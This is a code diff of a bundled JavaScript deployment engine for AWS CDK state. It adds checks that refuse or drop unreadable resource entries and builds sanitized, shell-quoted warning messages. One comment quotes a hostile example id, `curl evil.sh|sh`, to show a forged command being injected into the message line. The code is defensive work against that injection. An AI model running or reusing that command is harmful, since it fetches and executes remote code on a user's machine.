* shell-quoted, for the reasons that helper's own note gives: each reaches this
|
|
@@ -22197,10 +22291,10 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
|
|
|
22197
22291
|
* id ending `Prod...`.
|
|
22198
22292
|
*
|
|
22199
22293
|
* The cap is passed EXPLICITLY although it equals the default: a logical id is
|
|
22200
|
-
* valid up to `IDENT_MAX_CODE_POINTS
|
|
22201
|
-
*
|
|
22202
|
-
*
|
|
22203
|
-
*
|
|
22294
|
+
* valid up to `IDENT_MAX_CODE_POINTS` — the cap {@link displayLogicalId} also
|
|
22295
|
+
* takes — and a region-sized cut would truncate a legitimate long id into one
|
|
22296
|
+
* naming no record. Spelling the cap keeps that decision visible at the site it
|
|
22297
|
+
* was made for.
|
|
22204
22298
|
*
|
|
22205
22299
|
* Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
|
|
22206
22300
|
* carrying one still renders bare inside this `', '`-joined list and reads as
|
|
@@ -22336,7 +22430,8 @@ function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds
|
|
|
22336
22430
|
*
|
|
22337
22431
|
* `rawStackName` / `rawRegion` are the CALLER's resolved identity — the synthesized
|
|
22338
22432
|
* stack name and the region `pickStackRegion` settled on, never the record's
|
|
22339
|
-
* own unvalidated self-report
|
|
22433
|
+
* own unvalidated self-report (though an assembly-supplied stack name is not
|
|
22434
|
+
* validated either — go-to-k/cdkd#3360). See {@link stackClause}.
|
|
22340
22435
|
*/
|
|
22341
22436
|
function malformedOrphanResourcePropertiesRefusalMessage(rawStackName, rawRegion, logicalIds, recovery) {
|
|
22342
22437
|
const stackName = rawStackName === "" ? void 0 : rawStackName;
|
|
@@ -22572,6 +22667,214 @@ function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
|
|
|
22572
22667
|
function producerRecordKey(stackName, region) {
|
|
22573
22668
|
return JSON.stringify([stackName, region]);
|
|
22574
22669
|
}
|
|
22670
|
+
/**
|
|
22671
|
+
* How many unreadable logical ids a message names before summarizing. Read by
|
|
22672
|
+
* every builder that names ids — the refusal below, `namedEntriesClause` and
|
|
22673
|
+
* `malformedOrphanRecordsWarning` — so "the refusal below" was the count of
|
|
22674
|
+
* readers at the time it was written, not a scope.
|
|
22675
|
+
*
|
|
22676
|
+
* Five rather than the ten the `cdkd export` baseline report uses: this text
|
|
22677
|
+
* already carries the remedy command, and that command has to stay on the
|
|
22678
|
+
* reader's screen (the reason {@link safeIdentifier} caps a name at all).
|
|
22679
|
+
*/
|
|
22680
|
+
const NAMED_UNREADABLE_ENTRIES = 5;
|
|
22681
|
+
/**
|
|
22682
|
+
* The logical ids of every `resources` ENTRY that is not a readable object.
|
|
22683
|
+
*
|
|
22684
|
+
* A DIFFERENT shape from the unreadable BAG the rest of this module is about,
|
|
22685
|
+
* and one {@link hasReadableResources} says nothing about: it tests the bag, so
|
|
22686
|
+
* `{"resources": {"R": null}}` passes it and the `null` surfaces one
|
|
22687
|
+
* dereference later (issue go-to-k/cdkd#3018 items 1 and 2). Returns `[]` for an
|
|
22688
|
+
* unreadable BAG rather than inventing ids from it — a string bag would
|
|
22689
|
+
* otherwise yield one "id" per character. That makes the two refusals
|
|
22690
|
+
* ORDER-INDEPENDENT rather than ordered: whichever runs first, an unreadable
|
|
22691
|
+
* bag leaves this one silent and is caught by {@link refuseMalformedState}.
|
|
22692
|
+
* What a caller must not do is take only this one.
|
|
22693
|
+
*/
|
|
22694
|
+
function unreadableResourceEntries(state) {
|
|
22695
|
+
if (!hasReadableResources(state)) return [];
|
|
22696
|
+
return Object.entries(state.resources).filter(([, entry]) => !isReadableResourceEntry(entry)).map(([logicalId]) => logicalId);
|
|
22697
|
+
}
|
|
22698
|
+
/**
|
|
22699
|
+
* Can this ENTRY be read as a resource record at all?
|
|
22700
|
+
*
|
|
22701
|
+
* Object-ness is NOT the whole question, and taking {@link isReadableBag} for
|
|
22702
|
+
* the answer left a shape crashing one line past the guard: `{"R": {}}` is an
|
|
22703
|
+
* object, so it passed, and then `resource.resourceType.startsWith(...)` threw
|
|
22704
|
+
* — the same bare `TypeError` the `null` entry beside it no longer produces.
|
|
22705
|
+
* `resourceType` is the one field every reader of an entry touches before any
|
|
22706
|
+
* other (the Custom-Resource routing, the provider lookup, the skip list), so
|
|
22707
|
+
* it is the field that decides whether the row can be read at all.
|
|
22708
|
+
*
|
|
22709
|
+
* Deliberately NOT a widening of {@link isReadableBag}. That predicate answers
|
|
22710
|
+
* a question about CONTAINERS — the bag, and the four rendered containers
|
|
22711
|
+
* go-to-k/cdkd#3187 added — and a resource-shaped test there would refuse an
|
|
22712
|
+
* `outputs` map for having no `resourceType`.
|
|
22713
|
+
*
|
|
22714
|
+
* It stops at `resourceType` rather than checking `physicalId` or `properties`
|
|
22715
|
+
* too, and the message this feeds says only what it checks: a row with a type
|
|
22716
|
+
* but no physical id IS readable here, fails per-resource where it is used, and
|
|
22717
|
+
* is reported by that command in its own terms.
|
|
22718
|
+
*/
|
|
22719
|
+
function isReadableResourceEntry(entry) {
|
|
22720
|
+
return isReadableBag(entry) && typeof entry.resourceType === "string";
|
|
22721
|
+
}
|
|
22722
|
+
/**
|
|
22723
|
+
* For a command that READS each resource record and WRITES the bag back: refuse
|
|
22724
|
+
* the record naming the entries it could not read.
|
|
22725
|
+
*
|
|
22726
|
+
* **Deliberately NOT folded into {@link refuseMalformedState}**, and the reason
|
|
22727
|
+
* is behavioural rather than tidiness: folding it would decide, for every one of
|
|
22728
|
+
* that function's callers at once, that ANY unreadable row blocks the whole
|
|
22729
|
+
* command — a call none of them has made. `cdkd rollback` is the counter-example
|
|
22730
|
+
* that settles it: its executor reaches a record by logical id and treats a
|
|
22731
|
+
* falsy one as `skip-already-done`, so an unrelated broken row costs it nothing
|
|
22732
|
+
* and refusing would stop the command documented as the way to UNWIND a stack
|
|
22733
|
+
* whose state is already suspect. The other callers (`cdkd import`,
|
|
22734
|
+
* `cdkd orphan`, `cdkd scrub`) each owe their own classification; `cdkd orphan`
|
|
22735
|
+
* does still throw on an unreadable sibling, which is why that one is tracked on
|
|
22736
|
+
* go-to-k/cdkd#3202 rather than answered here by a shared refusal.
|
|
22737
|
+
*
|
|
22738
|
+
* So the entry rule is OPT-IN, taken by a flow that dereferences EVERY entry and
|
|
22739
|
+
* writes the record back.
|
|
22740
|
+
*
|
|
22741
|
+
* REFUSE rather than skip, at both sites that take it — `cdkd state
|
|
22742
|
+
* refresh-observed`, and `cdkd drift` under `--accept` / `--revert` — because
|
|
22743
|
+
* each is a WRITER. Skipping would report a clean run (`N refreshed, M
|
|
22744
|
+
* unsupported`; `N resources checked`) with the corrupt entries invisible and
|
|
22745
|
+
* then save the record back, so the ONE thing the user could have acted on
|
|
22746
|
+
* would be the thing the run did not say. Naming them costs nothing a skip
|
|
22747
|
+
* would have preserved either: both refusals happen before this stack's lock
|
|
22748
|
+
* and before any AWS read of it, so no partial work on it is thrown away.
|
|
22749
|
+
*
|
|
22750
|
+
* PER STACK, which is why the message says so — and the callers reach a
|
|
22751
|
+
* multi-stack refusal differently. `cdkd state refresh-observed` checks every
|
|
22752
|
+
* target's shape before it saves any, so a record ALREADY malformed stops the
|
|
22753
|
+
* run before a write; only one edited between that check and its own refresh
|
|
22754
|
+
* reaches this call after the stacks ahead of it were saved. `cdkd drift --all`
|
|
22755
|
+
* collects every stack's report before either writer runs. The message cannot
|
|
22756
|
+
* tell which case it is in, so it claims only what holds for both.
|
|
22757
|
+
*
|
|
22758
|
+
* That is not an argument that a skip is always wrong — the read-only twin
|
|
22759
|
+
* {@link repairMalformedResourceEntriesForReadOnly} does exactly that, for
|
|
22760
|
+
* plain `cdkd drift` and `cdkd diff`, and warns. What makes the difference is
|
|
22761
|
+
* the WRITE, not the shape.
|
|
22762
|
+
*
|
|
22763
|
+
* Unlike {@link repairMalformedResourcesForReadOnly} this never mutates: the
|
|
22764
|
+
* entries stay exactly as stored, which is what keeps the record's own evidence
|
|
22765
|
+
* intact for whoever inspects it next.
|
|
22766
|
+
*/
|
|
22767
|
+
function refuseMalformedResourceEntries(state, stackName, region) {
|
|
22768
|
+
const unreadable = unreadableResourceEntries(state);
|
|
22769
|
+
if (unreadable.length === 0) return;
|
|
22770
|
+
throw new CdkdError(malformedResourceEntriesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED);
|
|
22771
|
+
}
|
|
22772
|
+
/**
|
|
22773
|
+
* For a READ-ONLY command: drop every entry {@link unreadableResourceEntries}
|
|
22774
|
+
* names, so the command can report on the rest, and return what it dropped so
|
|
22775
|
+
* the caller can warn.
|
|
22776
|
+
*
|
|
22777
|
+
* The entry-level twin of {@link repairMalformedResourcesForReadOnly}, and it
|
|
22778
|
+
* makes the same trade for the same reason: a command that cannot WRITE cannot
|
|
22779
|
+
* launder anything, and reporting on the readable resources beats aborting on
|
|
22780
|
+
* the first unreadable one. It is a DROP rather than a repair-to-`{}` because
|
|
22781
|
+
* there is no empty `ResourceState` that would be honest — a record with no
|
|
22782
|
+
* `resourceType` and no `physicalId` names no AWS resource — so the entry leaves
|
|
22783
|
+
* the working copy entirely and the caller says so.
|
|
22784
|
+
*
|
|
22785
|
+
* Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
|
|
22786
|
+
* has no entries to drop, and {@link unreadableResourceEntries} deliberately
|
|
22787
|
+
* returns `[]` for one rather than inventing ids from a string's characters.
|
|
22788
|
+
*
|
|
22789
|
+
* Mutates the in-memory record only. Every caller today renders from the
|
|
22790
|
+
* command's own derived output rather than echoing the record back, so the drop
|
|
22791
|
+
* is visible as missing ROWS — which is exactly what the warning describes.
|
|
22792
|
+
*/
|
|
22793
|
+
function repairMalformedResourceEntriesForReadOnly(state) {
|
|
22794
|
+
const unreadable = unreadableResourceEntries(state);
|
|
22795
|
+
for (const logicalId of unreadable) delete state.resources[logicalId];
|
|
22796
|
+
return unreadable;
|
|
22797
|
+
}
|
|
22798
|
+
/** The warning a caller of {@link repairMalformedResourceEntriesForReadOnly} emits. */
|
|
22799
|
+
function malformedResourceEntriesWarning(stackName, region, logicalIds) {
|
|
22800
|
+
const stack = safeStackName(stackName);
|
|
22801
|
+
const reg = safeRegion(region);
|
|
22802
|
+
return `${namedEntriesClause(stackName, region, logicalIds)} Continuing WITHOUT them: this command's output describes the remaining resources only, which is not the same as the stack holding none of these. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22803
|
+
}
|
|
22804
|
+
/**
|
|
22805
|
+
* The `orphans[]` twin of {@link malformedResourceEntriesWarning}, and a
|
|
22806
|
+
* SEPARATE text rather than a parameter on that one.
|
|
22807
|
+
*
|
|
22808
|
+
* The shared clause says "holds N resource record(s) … the remaining resources
|
|
22809
|
+
* only", which sends a reader to the wrong container: the id it names was read
|
|
22810
|
+
* from `orphans`, and what that clause describes is the `resources` map
|
|
22811
|
+
* (go-to-k/cdkd#3226 review round 5, M16). Neither "the id is not in
|
|
22812
|
+
* `resources`" nor "that map is healthy" is safe to assert — an already-managed
|
|
22813
|
+
* logical id appears in both containers, and both can be damaged in one record,
|
|
22814
|
+
* which is the case where BOTH texts fire for one stack in one run, opening with
|
|
22815
|
+
* the identical sentence and differing only in the id list. That is why the
|
|
22816
|
+
* container has to be IN the sentence rather than inferred from it.
|
|
22817
|
+
*
|
|
22818
|
+
* What it does NOT say, deliberately: that the record would have been adopted.
|
|
22819
|
+
* `planOrphanAdoption` decides that, and a record it would have declined for
|
|
22820
|
+
* an unrelated reason (already managed, a type this binary cannot route) is
|
|
22821
|
+
* dropped here just the same — promising an adoption that was never going to
|
|
22822
|
+
* happen is the {@link malformedResourcePropertiesWarning} over-claim one
|
|
22823
|
+
* container over.
|
|
22824
|
+
*
|
|
22825
|
+
* Identifiers take the same path as every other builder here: the stack at
|
|
22826
|
+
* `safeStackName`, the region at `safeRegion`, each id through
|
|
22827
|
+
* {@link displayLogicalId}, and the ids capped at
|
|
22828
|
+
* {@link NAMED_UNREADABLE_ENTRIES} with an overflow count — a record whose
|
|
22829
|
+
* `logicalId` is not a string arrives as `''` and renders as the
|
|
22830
|
+
* `UNRENDERABLE` stand-in.
|
|
22831
|
+
*/
|
|
22832
|
+
function malformedOrphanRecordsWarning(stackName, region, logicalIds) {
|
|
22833
|
+
const stack = safeStackName(stackName);
|
|
22834
|
+
const reg = safeRegion(region);
|
|
22835
|
+
const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
|
|
22836
|
+
const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
|
|
22837
|
+
const more = rest > 0 ? ` and ${rest} more` : "";
|
|
22838
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} rollback-orphan record(s) in 'orphans' that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type. Continuing WITHOUT them: they are not previewed for adoption. These ids were read from 'orphans'; the 'resources' map carries its own warning when it is damaged too. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22839
|
+
}
|
|
22840
|
+
/**
|
|
22841
|
+
* The half the refusal and the warning share: what is wrong and which entries.
|
|
22842
|
+
*
|
|
22843
|
+
* One spelling rather than two, because the two texts differ only in what
|
|
22844
|
+
* happens NEXT, and a second copy of the diagnosis is what drifts.
|
|
22845
|
+
*/
|
|
22846
|
+
function namedEntriesClause(stackName, region, logicalIds) {
|
|
22847
|
+
const stack = safeStackName(stackName);
|
|
22848
|
+
const reg = safeRegion(region);
|
|
22849
|
+
const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
|
|
22850
|
+
const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
|
|
22851
|
+
const more = rest > 0 ? ` and ${rest} more` : "";
|
|
22852
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} resource record(s) that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type, so nothing can tell what AWS resource they name. The record is malformed or truncated.`;
|
|
22853
|
+
}
|
|
22854
|
+
/**
|
|
22855
|
+
* The text {@link refuseMalformedResourceEntries} raises.
|
|
22856
|
+
*
|
|
22857
|
+
* Every identifier — the stack, the region AND each logical id — is sanitized
|
|
22858
|
+
* and capped, for the reasons {@link safeIdentifier}'s note gives: all three
|
|
22859
|
+
* reach this message from a hand-edited record or an S3 key, and a
|
|
22860
|
+
* multi-kilobyte or line-forging one would push the remedy command off the
|
|
22861
|
+
* reader's screen. The stack and region are shell-quoted because they land in
|
|
22862
|
+
* the command. The logical ids take {@link displayLogicalId} instead: an id
|
|
22863
|
+
* spelled `x' Inspect it with: curl evil.sh|sh #` is not a plain identifier, so
|
|
22864
|
+
* it is wrapped in double quotes (an embedded `"` escaped) and its forged
|
|
22865
|
+
* remedy reads as part of one quoted id rather than as an instruction AHEAD of
|
|
22866
|
+
* the real one on this same line — the prose is one LINE ending in a pasteable
|
|
22867
|
+
* command, and sanitizing keeps `'`. Its other job is IDENTITY — see that
|
|
22868
|
+
* helper's note for why a trimmed id must not render bare.
|
|
22869
|
+
*
|
|
22870
|
+
* Exported so a test can pin the wording against the producer rather than
|
|
22871
|
+
* re-spelling it, the way the other messages here are consumed.
|
|
22872
|
+
*/
|
|
22873
|
+
function malformedResourceEntriesRefusalMessage(stackName, region, logicalIds) {
|
|
22874
|
+
const stack = safeStackName(stackName);
|
|
22875
|
+
const reg = safeRegion(region);
|
|
22876
|
+
return `${namedEntriesClause(stackName, region, logicalIds)} This command can WRITE state, so it refuses rather than skipping them: saving over the record would report a clean run for entries nothing could read, and would leave the next command to fail on them with no more to go on. Nothing was locked, read from AWS or written FOR THIS STACK. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22877
|
+
}
|
|
22575
22878
|
|
|
22576
22879
|
//#endregion
|
|
22577
22880
|
//#region src/analyzer/diff-calculator.ts
|
|
@@ -33244,7 +33547,7 @@ var CloudControlProvider = class {
|
|
|
33244
33547
|
const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
|
|
33245
33548
|
if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
|
|
33246
33549
|
this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
|
|
33247
|
-
const { ASGProvider } = await import("./asg-provider-
|
|
33550
|
+
const { ASGProvider } = await import("./asg-provider-CH4oHOxq.js").then((n) => n.n);
|
|
33248
33551
|
const asgProvider = new ASGProvider();
|
|
33249
33552
|
return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
|
|
33250
33553
|
}
|
|
@@ -46952,5 +47255,5 @@ var DeployEngine = class DeployEngine {
|
|
|
46952
47255
|
};
|
|
46953
47256
|
|
|
46954
47257
|
//#endregion
|
|
46955
|
-
export { yellow as $,
|
|
46956
|
-
//# sourceMappingURL=deploy-engine-
|
|
47258
|
+
export { yellow as $, CrossAccountSecretRefusalError as $i, TemplateParser as $n, validateAssetBucketName as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, __exportAll as Aa, ssmResolvedValueType as Ai, malformedResourcePropertiesWarning as An, hasReasonlessBaselineRefusal as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, canonicalizeRegion as Bi, refuseMalformedResourcesForDestroy as Bn, WorkGraph as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, isThrottlingError as Ca, resolveCaptureObservedState as Ci, malformedExportSourceWarning as Cn, forceQuitRecoveryClause as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, retryClassificationText as Da, resolveUseCdkBootstrapAssets as Di, malformedOutputsWarning as Dn, DEFAULT_STATE_PREFIX as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, markRedactedCause as Ea, resolveStateBucketWithDefaultAndSource as Ei, malformedOutputsRefusalMessage as En, CUSTOM_RESOURCE_RESPONSE_PREFIX as Er, deleteSkipReason as Et, extractDeploymentEventError as F, uploadCfnTemplate as Fi, refuseMalformedNestedChildOutputs as Fn, orphansAfterRollback as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, resolveBucketRegion as Gi, repairMalformedResourcesForReadOnly as Gn, AssetModeResolver as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, AssemblyReader as Hi, repairMalformedOutputsForReadOnly as Hn, createAssetRedirectResolver as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Ii, refuseMalformedOutputs as In, orphansCarriedFrom as Ir, isNamelessDynamicReferenceError as It, bold as J, resetAwsClients as Ji, findActionableSilentDrops as Jn, ensureAssetStorage as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, AwsClients as Ki, safeRegion as Kn, BOOTSTRAP_MARKER_PREFIX as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, decodeListingKey as Li, refuseMalformedOutputsForDestroy as Ln, shouldRetainResource as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, CFN_TEMPLATE_URL_LIMIT as Mi, malformedStateRefusalMessage as Mn, importableOutputKeys as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, MIGRATE_TMP_PREFIX as Ni, producerRecordKey as Nn, importableOutputs as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, describeAwsFailure as Oa, stateBucketExistenceConfirmed as Oi, malformedRenderedContainersWarning as On, exportNamesCarriedFrom as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, findLargeInlineResources as Pi, refuseDivergentRecordRegionForDestroy as Pn, isReadableBag as Pr, getAccountInfo as Pt, red as Q, ConfigError as Qi, DagBuilder as Qn, readBootstrapMarkerBody as Qr, requireConfigArray as Qt, MULTI_REGION_RECREATE_BLOCKED_TYPES as R, expectedOwnerParam as Ri, refuseMalformedResourceEntries as Rn, AssetPublisher as Rr, parameterTypeMayLoseSecretIdentity as Rt, computeParameterTaint as S, isRetryableTransientError as Sa, resolveAutoAssetStorage as Si, malformedExportNamesWarning as Sn, buildLockContentionMessage as Sr, isWaitAbandonedError as St, resourcesNamingDeclaredParameter as T, markNonRetryable as Ta, resolveStateBucketWithDefault as Ti, malformedOrphanRecordsWarning as Tn, shellQuote as Tr, deleteIndeterminateGuards as Tt, coerceWarmThroughput as U, processStackMessages as Ui, repairMalformedResourceEntriesForReadOnly as Un, loadPublishableAssetManifest as Ur, resolveExplicitPhysicalId as Ut, renderStatefulReason as V, derivePartitionAndUrlSuffix as Vi, refuseMalformedState as Vn, buildAssetRedirectMap as Vr, WAFv2WebACLProvider as Vt, isWarmThroughputDecrease as W, clearBucketRegionCache as Wi, repairMalformedResourcePropertiesForReadOnly as Wn, rewriteTemplateAssetReferences as Wr, assertRegionMatch as Wt, gray as X, AssetError as Xi, describeTypeWithThrottleRetry as Xn, isCrossRegionRedirect as Xr, readConfigString as Xt, cyan as Y, setAwsClients as Yi, findSilentDropProperties as Yn, getBootstrapMarkerKey as Yr, configStringRefusal as Yt, green as Z, CdkdError as Zi, withRetry as Zn, parseBootstrapMarker as Zr, replayWarn as Zt, bagHoldsSecretExpression as _, formatError as _a, Synthesizer as _i, UNREADABLE_RESOURCES_MAP_ROW as _n, LockManager as _r, endCommandInterruptScope as _t, DeploymentEventsStore as a, LocalStartServiceError as aa, describeDockerFailure as ai, s3BucketDomainName as an, createSecretMasker as ar, secretBearingStateKeyWarning as at, mergeNoChangeOutputs as b, withErrorHandling as ba, getLegacyStateBucketName as bi, hasReadableResources as bn, UNREPRODUCIBLE_LOCK_CLAUSE as br, startInterruptWatch as bt, replayFailedOperations as c, NestedStackChildDirectDestroyError as ca, getDockerCmd as ci, s3BucketWebsiteUrl as cn, identityKeyFor as cr, IAMRoleProvider as ct, updatePartialMessage as d, ResourceTimeoutError as da, runDockerForeground as di, applyCallerIdentityCredentials as dn, maskSecretsInError as dr, ProviderRegistry as dt, DependencyError as ea, validateContainerRepoName as ei, requireConfigString as en, STATE_SOURCED_BASELINE_RULES as er, collectDeclaredOutputNames as et, updatePartialReason as f, ResourceUpdateNotSupportedError as fa, runDockerStreaming as fi, callerEnvCredentials as fn, maskSecretsInText as fr, wouldReturnToSdkProvider as ft, computeImplicitDeleteEdges as g, SynthesisError as ga, getDockerImageBySourceHash as gi, STATE_RESOURCES_MALFORMED as gn, scrubResourceRecord as gr, beginCommandInterruptScope as gt, IMPLICIT_DELETE_DEPENDENCIES as h, StateError as ha, AssetManifestLoader as hi, INTRINSIC_KEYS as hn, redactSecretsForState as hr, maskerOrIdentity as ht, DeploymentEventsReader as i, LocalInvokeBuildError as ia, describeDockerExecFailure as ii, s3BucketArn as in, carriesSecretMask as ir, secretBearing as it, isFinalSnapshotError as j, CFN_TEMPLATE_BODY_LIMIT as ji, malformedResourcesWarning as jn, hasUnverifiableParameterRefusal as jr, carriesFetchableDynamicReference as jt, ccRoutedFinalSnapshotError as k, safeStringify$1 as ka, warnDeprecatedNoPrefixCliFlag as ki, malformedResourceEntriesWarning as kn, hasReadableExportSet as kr, IntrinsicFunctionResolver as kt, replayRollback as l, PartialFailureError as la, partitionSensitiveEnv as li, applyRoleArnIfSet as ln, isSingleDynamicReferenceToken as lr, collectInlinePolicyNamesManagedBySiblings as lt, maskingRetryLogger as m, StackTerminationProtectionError as ma, stripControlChars as mi, DiffCalculator as mn, recoverMaskedOutput as mr, maskDeep as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, DynamicReferenceRegionAmbiguousError as na, buildDockerImage as ni, producerRegionsFromState as nn, STATE_SOURCED_READBACK_RULES as nr, exportAliasCollisionScrubWarning as nt, planFailedOps as o, LockError as oa, dockerSpawnEnvWithSensitive as oi, s3BucketDualStackDomainName as on, dynamicReferenceTokens as or, secretSafeKeyDisplay as ot, withResourceDeadline as p, StackHasActiveImportsError as pa, escapeRegExp$1 as pi, envCredentialsAreAssumedRole as pn, recordMaskOnlyValue as pr, createMaskedRetryLogger as pt, formatResourceLine as q, getAwsClients as qi, safeStackName as qn, assertAssetBucketRegion as qr, configBooleanRefusal as qt, DeployEngine as r, IntrinsicResolutionRefusalError as ra, describeDockerCapturedOutput as ri, withSharedDrainBudget as rn, TEMPLATE_SOURCED_RULES as rr, isExportAliasCollision as rt, planRollback as s, MalformedProducerRecordRefusalError as sa, formatDockerLoginError as si, s3BucketRegionalDomainName as sn, errorCauseChain as sr, getCurrentResourceSecrets as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, DeployCancelledError as ta, buildDenyExternalAccessPolicy as ti, classifyReplaySecretRegion as tn, STATE_SOURCED_CROSS_GENERATION_RULES as tr, collectPublishedOutputNames as tt, resolveReplacementOldType as u, ProvisioningError as ua, redactDockerArgvValues as ui, AWS_CREDENTIAL_ENV_KEYS as un, markSameGenerationBag as ur, clearOnUpdateRemoval as ut, isSecretBearingReferenceString as v, isCdkdError as va, synthesisStatusMessage as vi, displayLogicalId as vn, S3StateBackend as vr, interruptWatchListenerCount as vt, reachableDivergentParameters as w, isTransientServerError as wa, resolveSkipPrefix as wi, malformedLocalOutputsWarning as wn, formatLockExpiry as wr, UNSPECIFIED_SKIP_REASON as wt, bindingSkippedOutputs as x, isMarkedNonRetryable as xa, resolveApp as xi, isReadableResourceEntry as xn, buildForceUnlockCommand as xr, CloudControlProvider as xt, keptWholeReasonText as y, normalizeAwsError as ya, getDefaultStateBucketName as yi, hasReadableOutputs as yn, rebuildClientForBucketRegion as yr, isInterruptedWaitError as yt, isStatefulRecreateTargetForReplace as z, PARTITION_TABLE as zi, refuseMalformedResourcePropertiesForOrphan as zn, stringifyValue as zr, refStateLookupFromResource as zt };
|
|
47259
|
+
//# sourceMappingURL=deploy-engine-Vze2lc-H.js.map
|